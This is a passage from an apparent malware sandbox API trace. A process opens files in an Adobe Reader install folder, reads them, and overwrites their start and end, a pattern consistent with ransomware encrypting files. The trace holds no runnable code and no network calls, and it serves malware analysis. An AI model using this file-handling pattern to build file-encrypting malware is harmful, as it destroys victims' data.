lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.339] ReleaseMutex (hMutex=0x128) returned 1 [0041.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHS", lpUsedDefaultChar=0x0) returned 10 [0041.339] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.353] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2a00 [0041.353] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.353] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2a00 [0041.353] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.354] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.354] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.354] CloseHandle (hObject=0x1b0) returned 1 [0041.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Annots.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\annots.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.354] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.354] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4c600 [0041.354] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.354] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.354] ReleaseMutex (hMutex=0x128) returned 1 [0041.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHT", lpUsedDefaultChar=0x0) returned 10 [0041.355] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.377] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4b600 [0041.377] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.399] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4b600 [0041.399] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.399] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.399] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.399] CloseHandle (hObject=0x1b0) returned 1 [0041.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\pddom.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\pddom.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2200 [0041.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.400] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.400] ReleaseMutex (hMutex=0x128) returned 1 [0041.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHT", lpUsedDefaultChar=0x0) returned 9 [0041.400] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.411] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1200 [0041.411] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.411] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1200 [0041.411] WriteFile (in: hFile=0x1b0, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.411] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.411] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.411] CloseHandle (hObject=0x1b0) returned 1 [0041.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Spelling.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\spelling.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0041.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.412] ReleaseMutex (hMutex=0x128) returned 1 [0041.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHT", lpUsedDefaultChar=0x0) returned 12 [0041.412] ReadFile (in: hFile=0x1b0, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.422] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.422] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.423] CloseHandle (hObject=0x1b0) returned 1 [0041.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.424] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.424] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x217e [0041.424] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.424] ReleaseMutex (hMutex=0x128) returned 1 [0041.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroSign.prc", lpUsedDefaultChar=0x0) returned 12 [0041.424] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.438] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x117e [0041.438] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.438] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x117e [0041.438] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.438] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.438] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.438] CloseHandle (hObject=0x1b0) returned 1 [0041.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.438] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.439] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.439] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.439] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.439] ReleaseMutex (hMutex=0x128) returned 1 [0041.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHS", lpUsedDefaultChar=0x0) returned 9 [0041.439] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.663] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.693] WriteFile (in: hFile=0x1b0, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.693] CloseHandle (hObject=0x1b0) returned 1 [0041.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1d800 [0041.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.696] ReleaseMutex (hMutex=0x128) returned 1 [0041.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.mpp", lpUsedDefaultChar=0x0) returned 9 [0041.701] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.709] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c800 [0041.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.710] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c800 [0041.710] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.710] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.710] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.711] CloseHandle (hObject=0x1b0) returned 1 [0041.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.711] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.711] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0041.711] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.711] ReleaseMutex (hMutex=0x128) returned 1 [0041.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DEU", lpUsedDefaultChar=0x0) returned 10 [0041.711] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.713] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.713] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.714] CloseHandle (hObject=0x1b0) returned 1 [0041.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.714] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.714] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0041.714] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.714] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.714] ReleaseMutex (hMutex=0x128) returned 1 [0041.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.PTB", lpUsedDefaultChar=0x0) returned 10 [0041.714] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.716] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.716] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, 